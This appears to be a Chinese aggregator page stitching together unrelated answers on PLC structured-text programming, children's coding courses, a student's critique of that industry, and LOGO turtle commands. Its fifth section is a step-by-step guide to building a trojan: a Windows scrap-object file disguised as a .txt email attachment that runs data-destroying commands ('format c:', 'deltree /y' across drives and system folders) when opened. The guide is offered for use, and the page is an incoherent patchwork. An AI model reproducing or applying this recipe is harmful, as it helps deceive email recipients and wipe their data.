近年來(lái)關(guān)注st少兒編程的用戶越來(lái)越多,小編整理了關(guān)于ST(結(jié)構(gòu)化文本),SCL語(yǔ)言必定會(huì)成為PLC編程的主流語(yǔ)言,不會(huì)編程都不好意思說(shuō)是搞工控的,今天先說(shuō)說(shuō)ST語(yǔ)言編程!,什么是少兒編程,終于有人說(shuō)清楚了,少兒編程是如何掏空家長(zhǎng)錢(qián)包的,木馬能自制嗎,電腦里的小烏龜單詞是什么,誰(shuí)會(huì)搞logo**的??,供您參考
1.ST(結(jié)構(gòu)化文本),SCL語(yǔ)言必定會(huì)成為PLC編程的主流語(yǔ)言
ST(Struct Text結(jié)構(gòu)化文本),SCL( Control Language結(jié)構(gòu)化控制語(yǔ)言)必定會(huì)成為PLC編程的主流語(yǔ)言。經(jīng)過(guò)半個(gè)世紀(jì)的發(fā)展,現(xiàn)在的PLC已經(jīng)不是當(dāng)初那個(gè)只能進(jìn)行簡(jiǎn)單邏輯控制的PLC,而是集運(yùn)動(dòng)控制,總線通訊,數(shù)據(jù)處理,通訊組網(wǎng),安全控制,故障記錄等各種功能于一身的自動(dòng)化控制器。很顯然,單純的梯形圖已經(jīng)無(wú)法滿足這些需求。而之所以推崇梯形圖,無(wú)怪乎兩個(gè)原因:1、 梯形圖直觀易懂,便于入門(mén)2 、ST不便于維護(hù)其實(shí),這些原因,都是把PLC當(dāng)作可編程邏輯控制器來(lái)用,只進(jìn)行簡(jiǎn)單的邏輯控制,才得出的理由。然而,PLC早就不是僅僅進(jìn)行邏輯控制的可編程邏輯控制器了。如果要進(jìn)行運(yùn)動(dòng)控制,總線通訊,數(shù)據(jù)處理,通訊組網(wǎng),安全控制,故障記錄等各種功能,單純使用梯形圖是無(wú)法完成任務(wù)的。而隨著生產(chǎn)工藝的進(jìn)步,這些功能已經(jīng)成為PLC的主流功能。所以,很多廠家推出了PAC控制器,也就是可編程自動(dòng)化控制器。使用ST語(yǔ)言,有如下優(yōu)點(diǎn):1 、簡(jiǎn)化指令梯形圖中各種繁瑣的指令,都在ST語(yǔ)言中進(jìn)行了簡(jiǎn)化。比如MOVE,DMOVE,BMOVE等各種復(fù)雜的傳遞指令,ADD,DADD,SUB,DSUB等各種復(fù)雜的數(shù)學(xué)運(yùn)算,只需要一個(gè)賦值語(yǔ)句就可以實(shí)現(xiàn),非常簡(jiǎn)便。還有各種讓人頭昏眼花的比較指令,都得到了簡(jiǎn)化。使用ST語(yǔ)言,就不需要去記憶各種繁瑣復(fù)雜的指令了。2 、實(shí)現(xiàn)復(fù)雜算法各種復(fù)雜算法,可以輕易實(shí)現(xiàn)。尤其是控制工藝復(fù)雜的場(chǎng)合。比如化工,紡織等行業(yè),有很多算法需要專(zhuān)門(mén)的控制器實(shí)現(xiàn),而有了ST語(yǔ)言,就可以輕松在PLC中實(shí)現(xiàn),節(jié)省成本。3 、程序結(jié)構(gòu)更緊湊ST語(yǔ)言中,使用IF和CASE語(yǔ)句來(lái)組織程序結(jié)構(gòu),非常方便,一目了然。4 、可讀性更強(qiáng)ST語(yǔ)言采用文本的編輯方式,自由增加注釋?zhuān)先说恼K季S5、 跨平臺(tái)復(fù)制粘貼可以在不同的PLC之間復(fù)制粘貼,非常方便。6 、提高程序破解難度使用ST語(yǔ)言編寫(xiě)核心的工藝部分,不會(huì)被輕易破解仿制
2.不會(huì)編程都不好意思說(shuō)是搞工控的,今天先說(shuō)說(shuō)ST語(yǔ)言編程!
最近想學(xué)習(xí)ST語(yǔ)言,想要ST語(yǔ)言以及功能塊的相關(guān)內(nèi)容?小編給大家分享一下現(xiàn)成的一些資料。至于更多的ST資料,需要自己慢慢歷練與積累。這話是論壇里版主說(shuō)的。結(jié)構(gòu)化文本(ST-Strutured Text)是一種高級(jí)的文本語(yǔ)言,可以用來(lái)描述功能,功能塊和程序的行為,還可以在順序功能流程圖中描述步、動(dòng)作和轉(zhuǎn)變的行為。結(jié)構(gòu)化文本語(yǔ)言表面上與 PASCAL語(yǔ)言很相似,但它是一個(gè)專(zhuān)門(mén)為工業(yè)控制應(yīng)用開(kāi)發(fā)的編程語(yǔ)言,具有很強(qiáng)的編程能力用于對(duì)變量賦值、回調(diào)功能和功能塊、創(chuàng)建表達(dá)式、編寫(xiě)條件語(yǔ)句和迭代程序等。1、采用高級(jí)語(yǔ)言進(jìn)行編程,可以完成較復(fù)雜的控制運(yùn)算;2、需要有一定的計(jì)算機(jī)高級(jí)程序設(shè)計(jì)語(yǔ)言的知識(shí)和編程技巧,對(duì)編程人員的技能要求較高,普通電氣人員無(wú)法完成。3、直觀性和易操作性等性能較差; 4、常被用于采用功能模塊等其他語(yǔ)言較難實(shí)現(xiàn)的一些控制功能的實(shí)施。提示注意:不是所有的PLC都支持所有的編程語(yǔ)言(如功能塊圖、順序功能圖就有很多低檔PLC不支持)接下來(lái)就看看關(guān)于ST的專(zhuān)業(yè)講解吧!其中,需要說(shuō)明的是:LAD:梯形圖----------日系稱(chēng)作為L(zhǎng)DSTL:指令表---------日系稱(chēng)作為ILSCL:結(jié)構(gòu)文本-------日系稱(chēng)作為STGRAPH:圖形編程-----日系稱(chēng)作為:高級(jí)圖形編程CFC:連續(xù)功能編程
3.什么是少兒編程,終于有人說(shuō)清楚了
說(shuō)到編程,想必大家腦海里首先想到的便是寫(xiě)代碼,編程序,具體可以看那些天天996的碼農(nóng)們。少兒編程的話,那就是小孩子學(xué)的編程了,同樣也是寫(xiě)代碼,編程序。如果這么想,那就大錯(cuò)特錯(cuò)了。現(xiàn)在長(zhǎng)話短說(shuō),現(xiàn)在南京小碼王少兒編程培訓(xùn)機(jī)構(gòu)就來(lái)給大家科普下,究竟什么是少兒編程?! 【幊膛c少兒編程定義區(qū)分 編程:編程是編寫(xiě)程序的中文簡(jiǎn)稱(chēng),就是讓計(jì)算機(jī)代為解決某個(gè)問(wèn)題,對(duì)某個(gè)計(jì)算體系規(guī)定一定的運(yùn)算方式,是計(jì)算體系按照該計(jì)算方式運(yùn)行,并最終得到相應(yīng)結(jié)果的過(guò)程。為了使計(jì)算機(jī)能夠理解人的意圖,人類(lèi)就必須將需解決的問(wèn)題的思路、方法和手段通過(guò)計(jì)算機(jī)能夠理解的形式告訴計(jì)算機(jī),使得計(jì)算機(jī)能夠根據(jù)人的指令一步一步去工作,完成某種特定的任務(wù)?! ∩賰壕幊蹋荷賰壕幊探逃⒎歉叩冉逃菢訉W(xué)習(xí)如何寫(xiě)代碼、編制應(yīng)用程序,而是通過(guò)編程游戲啟蒙、可視化圖形編程等課程,培養(yǎng)學(xué)生的計(jì)算思維和創(chuàng)新解難能力。例如學(xué)生在制作一個(gè)小動(dòng)畫(huà)的過(guò)程中,自己拆分任務(wù)、拖拽模塊、控制進(jìn)度,從而理解“并行”、“事件處理”、“目標(biāo)實(shí)現(xiàn)”的概念?! ‖F(xiàn)在重點(diǎn)說(shuō)一下少兒編程概念 少兒編程教育是區(qū)別于成人編程教育,針對(duì)3到18歲的青少兒通過(guò)寓教于樂(lè)的方式來(lái)學(xué)習(xí)編程語(yǔ)言,基于可視化圖形編程工具和基礎(chǔ)編程語(yǔ)言構(gòu)建在線編程學(xué)習(xí)平臺(tái)和開(kāi)源硬件平臺(tái),讓孩子通過(guò)可視化圖形編程、代碼編程和機(jī)器人編程培養(yǎng)動(dòng)手能力,邏輯思維能力,計(jì)算能力等,學(xué)習(xí)編程來(lái)串聯(lián)各個(gè)*。其屬于素質(zhì)教育的一個(gè)分支,也是*在基礎(chǔ)教育階段針對(duì)AI教育領(lǐng)域下的提前布局,最終達(dá)到讓孩子成為全科型人才。 少兒編程教育是STEAM教育下的一個(gè)新賽道,被稱(chēng)作K12賽道*的金礦。通過(guò)STEAM教育的學(xué)習(xí),建立理論知識(shí)框架,最終通過(guò)結(jié)合創(chuàng)客教育的理念進(jìn)行理論知識(shí)輸出,提高實(shí)踐能力。作為教育領(lǐng)域下的黑馬賽道,編程教育也因其能夠通過(guò)融合各個(gè)*,培養(yǎng)孩子科學(xué)素養(yǎng)和實(shí)踐能力而受到家長(zhǎng)的重視?! 【幊探逃恢皇亲尯⒆訐碛芯幊痰哪芰?,而是通過(guò)編程的學(xué)習(xí)提升數(shù)字素養(yǎng),培養(yǎng)信息意識(shí),形成*融合的能力;編程化計(jì)算思維的建立,為解決實(shí)際問(wèn)題提供更富邏輯化的思路,最終能夠?qū)崿F(xiàn)技術(shù)創(chuàng)新,并且能夠體驗(yàn)技術(shù)實(shí)踐?! 【幊陶n的學(xué)習(xí),使孩子的邏輯思維、數(shù)學(xué)理解、英語(yǔ)興趣、嚴(yán)謹(jǐn)理念、解決問(wèn)題能力、動(dòng)手能力和創(chuàng)造力都會(huì)有不同程度的提高,以期提升個(gè)人未來(lái)競(jìng)爭(zhēng)力?! W(xué)少兒編程的3個(gè)問(wèn)題需要弄清 家長(zhǎng)在思考是否要為孩子選擇少兒編程時(shí),需要先搞清楚幾個(gè)問(wèn)題。孩子學(xué)編程,不是為了做未來(lái)的程序員。成人學(xué)編程是作為職業(yè)手段,而孩子學(xué)編程更注重素質(zhì)培養(yǎng),尤其是“編程思維”。編程思維是我們解決問(wèn)題的一種方法,是邏輯思維的一種,就是利用我們已有的知識(shí)和工具,將自身的思路轉(zhuǎn)化成邏輯運(yùn)算的步驟,從而完成復(fù)雜的任務(wù)?! ∩賰壕幊探逃占皩?lái)什么變革? 經(jīng)過(guò)幾年的發(fā)展和摸索,編程教育已經(jīng)開(kāi)始進(jìn)入中*課堂。至此,編程將很有可能成為“新英語(yǔ)”,而隨著人工智能的推進(jìn),各行各業(yè)都將需要掌握編程能力的相關(guān)人才。所以,編程在10年、20年后將會(huì)成為一種主流的能力。家長(zhǎng)若能及時(shí)跟進(jìn)幫助孩子提早學(xué)習(xí)相關(guān)課程,將為孩子的以后打下堅(jiān)實(shí)的基礎(chǔ)。所以,此時(shí)趁著編程教育還未徹底普及,可以先行讓孩子接觸和學(xué)習(xí)相關(guān)課程,幫助孩子實(shí)現(xiàn)人生的領(lǐng)跑。
4.少兒編程是如何掏空家長(zhǎng)錢(qián)包的
前段時(shí)間,有一個(gè)北京的親戚帶著他家小孩來(lái)我家暫住了幾天,得知我“會(huì)編程”,“學(xué)過(guò)編程”,便想了解一下少兒編程機(jī)構(gòu)選什么樣的好。我問(wèn)他,為什么要報(bào)少兒編程,還在上幼兒園的小孩不太適合這種。答案很簡(jiǎn)單,周?chē)暮⒆佣荚趯W(xué),而且聽(tīng)說(shuō)學(xué)這個(gè)很有利于學(xué)習(xí),將來(lái)前途很廣。作為一個(gè)學(xué)生,我很難想象,一個(gè)之前甚至不愿意讓孩子多看電視的家長(zhǎng),會(huì)主動(dòng)出錢(qián)讓孩子去學(xué)“編程”。我上網(wǎng)搜了一下,才發(fā)現(xiàn),我這個(gè)十八線城市,已經(jīng)開(kāi)滿了各種少兒編程的線下門(mén)店。我問(wèn)了問(wèn)那位親戚,是什么讓他覺(jué)得少兒編程很好。接著,就是一大堆名詞:“人工智能”,“大數(shù)據(jù)時(shí)代”,“區(qū)塊鏈”,“深度學(xué)習(xí)”,“啟蒙教育”。但事實(shí)真的如此嗎?孩子真的在少兒編程中能學(xué)到這些我這個(gè)從事一些基礎(chǔ)編程兩年的學(xué)生,并且抱有極大熱情的人都學(xué)不太會(huì)的東西?我問(wèn)了問(wèn)周?chē)娜?,答案都不?lè)觀。一位學(xué)長(zhǎng)曾經(jīng)因?yàn)橐灿幸粋€(gè)親戚學(xué)少兒編程而去旁聽(tīng)了一節(jié)課,但得到的是什么?他們的課程主要是Scratch,Python。學(xué)長(zhǎng)問(wèn)授課老師,Python主要有些什么授課內(nèi)容,老師回答進(jìn)階的有Python Web程序。學(xué)長(zhǎng)問(wèn)他,主要學(xué)習(xí)什么框架,老師的回答是:HTML CSS這是任何一個(gè)有Python Web開(kāi)發(fā)經(jīng)驗(yàn)的人都不會(huì)做出來(lái)的回答。不管他是回答Django,F(xiàn)lask,Tornado,或是什么別的Web框架,甚至是回答Twisted,都要比回答這兩個(gè)標(biāo)記語(yǔ)言強(qiáng)得多。如此水平,這可能就是一部分少兒編程機(jī)構(gòu)的真實(shí)情況。很難說(shuō)是不是所有少兒編程機(jī)構(gòu)都是這樣,也許有很多少兒編程機(jī)構(gòu)有真材實(shí)料。但在現(xiàn)如今我這個(gè)十八線城市少兒編程都在遍地開(kāi)花的時(shí)代,我覺(jué)得一個(gè)城市有三家有真材實(shí)料的機(jī)構(gòu),恐怕都有些難。究竟是什么導(dǎo)致了這一切?其實(shí)這并不是偶然現(xiàn)象,少兒編程并不是一頭偶然走到風(fēng)口上的豬,可以說(shuō),少兒編程今天的輝煌,是一定的。從小到大,我們上過(guò)的特長(zhǎng)班,興趣班,數(shù)不勝數(shù),繪畫(huà)書(shū)法圍棋籃球舞蹈。但為什么他們撈不到什么油水,大部分成為了爆炸的泡沫。很簡(jiǎn)單,他們對(duì)用戶把握的更好,講述了一個(gè)又一個(gè)成功的故事,吸引家長(zhǎng)來(lái)買(mǎi)課。更別提,他們還有無(wú)數(shù)營(yíng)銷(xiāo)號(hào),水軍。所以,我的結(jié)論是,少兒編程行業(yè),就是一團(tuán)巨大的泡沫。這個(gè)泡沫何時(shí)破滅,無(wú)人知曉。但,這個(gè)泡沫的破滅,將為OI教育行業(yè)帶來(lái)巨大的沖擊。近些年來(lái),各種各樣的創(chuàng)新類(lèi)競(jìng)賽,比賽層出不窮,經(jīng)常被人稱(chēng)為升學(xué)工具的它們,給*競(jìng)賽帶來(lái)了巨大沖擊。其中首當(dāng)其沖的,是計(jì)算機(jī)創(chuàng)新競(jìng)賽,人工智能競(jìng)賽等,在OI沒(méi)有上榜時(shí),它們甚至都成為了教育部認(rèn)可的競(jìng)賽。我沒(méi)有參加過(guò)人工智能競(jìng)賽,不清楚他們的賽制,但是據(jù)我所知市面上除了*比賽我不了解,有很大一部分這類(lèi)人工智能比賽,僅僅是機(jī)器人比賽換皮,Scratch,Python小創(chuàng)意比賽換皮,甚至比創(chuàng)客更無(wú)技術(shù)含量。我相信,一個(gè)家長(zhǎng)不太可能為自己上初/高中甚至*的孩子購(gòu)買(mǎi)一塊RTX 2070,RTX2080甚至RTX2080Ti就是為了參加人工智能競(jìng)賽,更何況,沒(méi)有系統(tǒng)學(xué)習(xí)過(guò)線性代數(shù),也很難掌握等主流深度學(xué)習(xí)/機(jī)器學(xué)習(xí)庫(kù)的使用。根據(jù)以上推理我認(rèn)為市面上大部分人工智能競(jìng)賽僅僅是一個(gè)噱頭。至于*比賽是不是,我沒(méi)有參加過(guò),無(wú)法下結(jié)論。再談?wù)動(dòng)?jì)算機(jī)創(chuàng)新,現(xiàn)在計(jì)算機(jī)創(chuàng)新的主力軍,往往是*生,是在*里學(xué)過(guò)數(shù)據(jù)結(jié)構(gòu),計(jì)算機(jī)底層架構(gòu)等等等專(zhuān)業(yè)課后才開(kāi)始進(jìn)行計(jì)算機(jī)創(chuàng)新,而現(xiàn)在大部分計(jì)算機(jī)創(chuàng)新比賽,不出所料,還是各種機(jī)器人搭建+編程。這有意義嗎,我想還是有的。但值得家長(zhǎng)花這么多時(shí)間,精力,金錢(qián)去讓自己的孩子和其他成千上萬(wàn)的孩子去在培訓(xùn)機(jī)構(gòu)里學(xué)習(xí)創(chuàng)新嗎?至少我的答案不會(huì)是如此。有這么多錢(qián)我會(huì)選擇去買(mǎi)專(zhuān)業(yè)類(lèi)的單片機(jī),嵌入式以及算法書(shū)籍,自己用樹(shù)莓派以及單片機(jī)搭建出來(lái)的東西,參考現(xiàn)今互聯(lián)網(wǎng)上浩如煙海的資料,還能自己去看GitHub上的優(yōu)秀項(xiàng)目,這些,往往比老師能教給你的創(chuàng)新能力更多,這些,才是一個(gè)學(xué)生創(chuàng)新時(shí)應(yīng)該干的,而不是盲從于培訓(xùn)機(jī)構(gòu)。創(chuàng)新,是一件自然而然的事情,而不是培訓(xùn)機(jī)構(gòu)的訓(xùn)練能教出來(lái)的。同樣,大數(shù)據(jù),區(qū)塊鏈這些知識(shí),也是你幾乎無(wú)法在培訓(xùn)機(jī)構(gòu)里接觸,了解,運(yùn)用的。大數(shù)據(jù),無(wú)非是聚合大量的數(shù)據(jù)在一起參考。這個(gè)概念已經(jīng)被吹的太久太久。但其實(shí)它既簡(jiǎn)單,又復(fù)雜,簡(jiǎn)單到一個(gè)上手開(kāi)發(fā)幾個(gè)月的人就能做,復(fù)雜到從事幾年的人依然焦頭爛額。簡(jiǎn)單的大數(shù)據(jù),我收集全年級(jí)的數(shù)據(jù),例如身高,體重,成績(jī)等等等,放到一個(gè)最普通的數(shù)據(jù)庫(kù)里面,這,就是大數(shù)據(jù)。大數(shù)據(jù)是一個(gè)相對(duì)的概念,相對(duì)于人腦,上面說(shuō)到的那個(gè)簡(jiǎn)簡(jiǎn)單單的數(shù)據(jù)庫(kù)就是大數(shù)據(jù),這也是一個(gè)學(xué)生能接觸到的最簡(jiǎn)單的大數(shù)據(jù)實(shí)現(xiàn)。但真正能賺錢(qián)的大數(shù)據(jù),是相對(duì)于常規(guī)數(shù)據(jù)庫(kù)的大數(shù)據(jù),通常用非常規(guī)方式進(jìn)行管理,涉及到集群,容器,數(shù)據(jù)庫(kù)等等方面,一般來(lái)講,學(xué)完這些知識(shí),并且能做到熟練運(yùn)用,對(duì)于一個(gè)學(xué)生來(lái)說(shuō)是不大可能的,同時(shí),收集這樣大量的數(shù)據(jù),負(fù)擔(dān)得起這樣大數(shù)據(jù)的基礎(chǔ)設(shè)施,也是學(xué)生不大可能負(fù)擔(dān)得起的(除非你家里有礦,有的話請(qǐng)務(wù)必給我分點(diǎn)),很顯然,常人對(duì)大數(shù)據(jù)的認(rèn)知來(lái)源于幾個(gè)方面,一是新聞上反復(fù)提到大數(shù)據(jù),大數(shù)據(jù)有多么多么牛逼。二是手機(jī)上的APP會(huì)通過(guò)數(shù)據(jù)聚合等方式來(lái)給你推送個(gè)性化內(nèi)(guang)容(gao),這些也確實(shí)是生活中常見(jiàn)的大數(shù)據(jù)用途,但是,我相信一個(gè)少兒編程機(jī)構(gòu)絕對(duì)不會(huì)教給你這些。我所接觸到的所有少兒編程機(jī)構(gòu),連一個(gè)上過(guò)數(shù)據(jù)庫(kù)的課程都沒(méi)有,更別提進(jìn)階一點(diǎn)的大數(shù)據(jù)。還有區(qū)塊鏈。區(qū)塊鏈嚴(yán)格意義上來(lái)講,是一個(gè)去中心化的網(wǎng)絡(luò)思想,涉及到一系列加密算法。同樣的,少兒編程連base64這種基本的編碼都不可能涉及,還會(huì)給你密碼學(xué)入門(mén)到精通?TCP/IP協(xié)議精通?顯然是不可能的。所以,少兒編程之所以能圈錢(qián),無(wú)非是瞄準(zhǔn)了大多數(shù)家長(zhǎng)的心態(tài),即孩子必須走在自己預(yù)先規(guī)劃好的道路上,或者孩子必須成為自己期望中的樣子,這個(gè)范圍有大有小,可能有的家長(zhǎng)希望孩子從事什么職業(yè),有的家長(zhǎng)僅僅希望孩子的數(shù)學(xué)能考多少分,這些想法從本質(zhì)上來(lái)講,都是對(duì)孩子的愛(ài),只不過(guò),這些愛(ài)意被濫用,成為了孩子身上的枷鎖,成為了培訓(xùn)機(jī)構(gòu)的搖錢(qián)樹(shù)。希望終有一天,有人能揭露這些培訓(xùn)機(jī)構(gòu),同學(xué)們都能從事自己喜歡的事情。愿我們所喜愛(ài)的OI,永不破滅。Update:關(guān)于評(píng)論區(qū)中的“管住嘴”和“手機(jī)”的相關(guān)言論,建議大家笑笑就好,不要太在意這個(gè)人的各種言論。評(píng)論區(qū)有人說(shuō)他是少兒編程機(jī)構(gòu)的銷(xiāo)售,有人說(shuō)他沒(méi)有參與過(guò)項(xiàng)目開(kāi)發(fā)等等,這個(gè)人使用各種話術(shù),他的概念也大部分來(lái)源于產(chǎn)品經(jīng)理的一些管理方式,我不清楚此人的背景,但可以肯定的是,這個(gè)人把各種在他工作中得到的相關(guān)觀點(diǎn),強(qiáng)行帶入計(jì)算機(jī)科學(xué)教育,而且這個(gè)人善于曲解他人的話,和這樣一個(gè)人辯論是沒(méi)有意義的。各位是程序員,各位是OIer,各位是或?qū)?lái)會(huì)是計(jì)算機(jī)科學(xué)家,大家都很清楚,產(chǎn)品經(jīng)理都是一些什么樣的人,他們所接觸到的知識(shí)領(lǐng)域是什么樣的。他們與我們的涉獵范圍是完全不一樣的,我們可以把自己寫(xiě)的代碼定義成自己做的項(xiàng)目,Linus這么做,GNU基金會(huì)這么做,大部分開(kāi)源項(xiàng)目都是這樣做的。至于他想表述的Scratch是面向角色編程,他想說(shuō)Python不是腳本語(yǔ)言,這很顯然是一個(gè)根本沒(méi)有從事過(guò)多少Python開(kāi)發(fā),應(yīng)用的人才會(huì)說(shuō)出來(lái)的話。和這樣一個(gè)人辯論,其實(shí)和一個(gè)民科辯論并沒(méi)有什么區(qū)別,你說(shuō)服不了某人調(diào)和級(jí)數(shù)不收斂,而事實(shí)也不是調(diào)和級(jí)數(shù)收斂于61.35,希望大家不要把寶貴的時(shí)間浪費(fèi)在這樣一個(gè)人上面,也希望大家不要再進(jìn)行人生攻擊,如果他繼續(xù)人身攻擊,地域歧視等等,大家可以舉報(bào),沒(méi)有必要回復(fù)他,給他借題發(fā)揮的機(jī)會(huì)。本身,用教條式的思維規(guī)范計(jì)算機(jī)行業(yè)這樣一個(gè)由新鮮思維碰撞在一起而誕生的行業(yè)本身就是一件沒(méi)有意義的事情,從來(lái)沒(méi)有一個(gè)程序員規(guī)定一個(gè)項(xiàng)目必須走什么流程要怎么怎么樣才算一個(gè)項(xiàng)目,規(guī)定它的是產(chǎn)品經(jīng)理,是甲方乙方,這些東西不會(huì)出現(xiàn)在任何開(kāi)源項(xiàng)目中,也不會(huì)妨礙開(kāi)源項(xiàng)目是一個(gè)項(xiàng)目。類(lèi)似這樣的人我們見(jiàn)到過(guò)很多很多,稍有常識(shí)的人就會(huì)知道這些概念的錯(cuò)誤性。誠(chéng)然,這個(gè)人認(rèn)為他的看法才是常識(shí),在此我不再反對(duì),你無(wú)法叫醒一個(gè)裝睡的人,他是什么成功人士還是什么loser也與我無(wú)關(guān),在座各位的未來(lái)都掌握在自己手上,不會(huì)因?yàn)椤肮茏∽臁钡某晒χ范晒ΑM裁恪?/p>
5.木馬能自制嗎
木馬完全可以自制,你可以根據(jù)自己所需的作用來(lái)制作各種各樣的木馬學(xué)木馬先要會(huì)編程,你先把這個(gè)搞懂吧!1.創(chuàng)建一個(gè)只包含一個(gè)空格(為了減小文件體積)的文本文件,任意取名。 2.打開(kāi){寫(xiě)字板文檔},將此文件拖放入{寫(xiě)字板文檔}。也可以點(diǎn)擊記{寫(xiě)字板 文檔}單欄中的“插入\對(duì)象”,彈出“插入對(duì)象”對(duì)話框,選中“從文件創(chuàng)建”,然后 點(diǎn)擊“瀏覽”按鈕選擇要插入的文件。 3.選中該插入對(duì)象的圖標(biāo),選擇菜單欄中的“編輯\包對(duì)象\編輯包”(如圖1)。在彈 出的“對(duì)象包裝程序”對(duì)話框中,選擇菜單欄中的“編輯\命令行”,然后輸入如下命令 :start.exe /m format c:/q /autotest /u ,點(diǎn)擊“確定”,此時(shí),內(nèi)容欄中會(huì)顯示 出命令內(nèi)容。 4.點(diǎn)擊外觀欄中的“插入圖標(biāo)”按鈕,會(huì)彈出一個(gè)警告對(duì)話框,確認(rèn),然后任選一 個(gè)圖標(biāo)。 5.選擇菜單欄中的“編輯\卷標(biāo)”,為此嵌入對(duì)象取一個(gè)名稱(chēng)(會(huì)替換原來(lái)的文件名 稱(chēng))。點(diǎn)擊“文件”菜單中的“更新”,然后關(guān)閉此對(duì)話框。 6.將剛剛建立的嵌入對(duì)象拖放到桌面上。文件的默認(rèn)名是“碎片”(在2000下的默 認(rèn)名為”片段”),現(xiàn)在我們把它改成“.txt”。打開(kāi)電子郵件程序?qū)⒆烂?上的“.txt”作為附件發(fā)出,或者將含有嵌入對(duì)象(帶有惡意命令)的文檔作 為附件發(fā)出。 7.當(dāng)郵件接收者誤將“.txt.shs”文件作為“.txt”(如前文 所述,“.SHS”擴(kuò)展名永遠(yuǎn)是隱藏的)放心地打開(kāi)時(shí),或打開(kāi)文件,點(diǎn)擊文件中的嵌入對(duì) 象時(shí)觸發(fā)惡意命令(彈出DOS運(yùn)行窗口,執(zhí)行格式化命令).如果將上面的命令替換為:st art.exe /m deltree /y a:\*.* c:\*.* d:\*.* 則是將刪除對(duì)方硬盤(pán)下所有文件(盤(pán)符 根據(jù)實(shí)際情況自定義);如果替換為:start.exe /m deltree /y c:\windows\system\*.* 則是刪除對(duì)方c:\windows\system\目錄底下的所有文件.(當(dāng) 然大家可以改成其它的命令) 很簡(jiǎn)單,這樣一個(gè)惡意的攻擊程序被弄出來(lái)了!
6.電腦里的小烏龜單詞是什么
LOGO語(yǔ)言是一種早期的編程語(yǔ)言,也是一種與自然語(yǔ)言非常接近的編程語(yǔ)言,它通過(guò)"繪圖"的方式來(lái)學(xué)習(xí)編程,對(duì)初學(xué)者特別是兒童進(jìn)行寓教于樂(lè)的教學(xué)方式。 LOGO語(yǔ)言創(chuàng)始于1968年,是美國(guó)*科學(xué)基金會(huì)所資助的一項(xiàng)專(zhuān)案研究,在麻省理工(MIT)的人工智能研究室完成。 LOGO源自希臘文,原意即為思想,是由一名叫佩伯特的心理學(xué)家在從事兒童學(xué)習(xí)的研究中,發(fā)現(xiàn)一些與他的想法相反的教學(xué)方法,并在一個(gè)假日中出外散步時(shí),偶然間看到一個(gè)像海龜?shù)臋C(jī)械裝置觸發(fā)靈感,于是利用他廣博的知識(shí)及聰明的才智而最終完成了LOGO語(yǔ)言的設(shè)計(jì)。 LOGO語(yǔ)言命令大全 1、前進(jìn)命令: FD [格式]:FORWARD :X [縮寫(xiě)]:FD :X [功能]: 使海龜向前移動(dòng)指定的 X步。 2、后退命令: BK [格式]: BACK :X [縮寫(xiě)]: BK :X [功能]: 使海龜向后倒退指定的 X步。 3、右轉(zhuǎn)命令: RT [格式]: RIGHT :X [縮寫(xiě)]: RT :X [功能]: 海龜向右轉(zhuǎn) X度,(按順時(shí)針?lè)较?。 4、左轉(zhuǎn)命令: LT [格式]: LEFT :X [縮寫(xiě)]: LT :X [功能]: 海龜向左轉(zhuǎn) X度,(按逆時(shí)針?lè)较?。 5、藏龜命令: HT [格式]: [縮寫(xiě)]: HT [功能]: 讓海龜隱身。 6、顯龜命令: ST [格式]: [縮寫(xiě)]: ST [功能]: 讓海龜重現(xiàn)。 7、回家命令: HOME [格式]:HOME [功能]:海龜回到源點(diǎn)上。但是不清除屏幕,不改變海龜?shù)钠渌鼱顟B(tài)。 8、橫移命令: SETX [格式]: SETX :X [功能]: 海龜水平移動(dòng)到命令中 :X所指定的坐標(biāo)位置, 并留下蹤跡。 9、縱移命令: SETY [格式]: SETY :Y [功能]: 海龜垂直移動(dòng)到命令中 :Y所指定的坐標(biāo)位置, 并留下蹤跡。 10、走到命令: SETXY [格式]: SETXY [:X :Y] 或 SETXY SE :X :Y [功能]: 海龜從當(dāng)前位置移到坐標(biāo)為 (X,Y) 的地方,(在落筆的狀態(tài)下)并在移動(dòng)的線路上留下一段直線。(后者可使用變量、表達(dá)式) 11、角度命令: SETH [格式]: SETH :D [功能]: 將海龜順時(shí)針轉(zhuǎn)到指定的方向上。 [注意]: 海龜初始時(shí)頭向上, 定位為0°, 旋轉(zhuǎn)一周為360°。 12、查詢海龜?shù)臋M坐標(biāo):XCOR [格式]: XCOR [功能]: 輸出海龜當(dāng)前的水平位置(X軸上)。 13、查詢海龜?shù)目v坐標(biāo):YCOR[格式]: YCOR [功能]: 輸出海龜當(dāng)前的垂直位置(Y軸上)。 14、查詢海龜當(dāng)前的方向:HEADING [格式]: HEADING [功能]: 輸出海龜當(dāng)前的方向(角度)。 15、清屏復(fù)位命令:CS [格式]: [縮寫(xiě)]:CS [功能]:清除屏幕上的圖形,讓海龜回到源點(diǎn),頭向上。但是海龜?shù)钠渌麪顟B(tài)(畫(huà)筆的顏色、粗細(xì)、花紋等)都不變。 16、清屏命令: CLEAN [格式]:CLEAN [功能]:清除屏幕上的圖形, 但是不改變海龜?shù)臓顟B(tài)(當(dāng)前的位置和方向)。 17、重復(fù)命令: REPEAT [格式]: REPEAT 次數(shù)[執(zhí)行重復(fù)的內(nèi)容] [功能]: 讓計(jì)算機(jī)重復(fù)執(zhí)行一些命令。 18、畫(huà)矩形命令:STAMPRECT [格式]: STAMPRECT :X :Y (畫(huà)空心矩形) (STAMPRECT :X :Y "TRUE) (畫(huà)實(shí)心矩形) [功能]: 以海龜原來(lái)所在的位置為起始點(diǎn)畫(huà)矩形。 [注意]: ⑴用STAMPRECT命令畫(huà)出來(lái)的矩形始終是垂直的。 ⑵引號(hào)和TURE之間不留空格。 19、畫(huà)橢圓命令: STAMPOVAL [格式]: STAMPOVAL :X :Y (畫(huà)空心橢圓形) (STAMPOVAL :X :Y "TRUE) (畫(huà)實(shí)心橢圓形) [功能]: 以海龜原來(lái)所在的位置為圓心畫(huà)橢圓。 [注意]: ⑴如果X方向的半徑和Y方向的半徑相等, 那么畫(huà)出來(lái)的就是一個(gè)圓。 ⑵用STAMPOVAL命令畫(huà)出來(lái)的橢圓始終是順著X, Y方向畫(huà)的。海龜*停留在圓的中心。 20、提筆命令: PU [格式]: PENUP [縮寫(xiě)]: PU [功能]: 把海龜?shù)漠?huà)筆提起來(lái), 移動(dòng)時(shí)不留下筆跡。 21、落筆命令: PD [格式]: PENDOWN [縮寫(xiě)]: PD [功能]: 讓海龜下筆, 恢復(fù)海龜?shù)漠?huà)線功能。 22、筆色命令: SETPC [格式]: SETPC :N (:N為顏色代碼) [功能]: 設(shè)置畫(huà)筆的顏色。 23、背景顏色命令:SETBG [格式]: SETBG :N 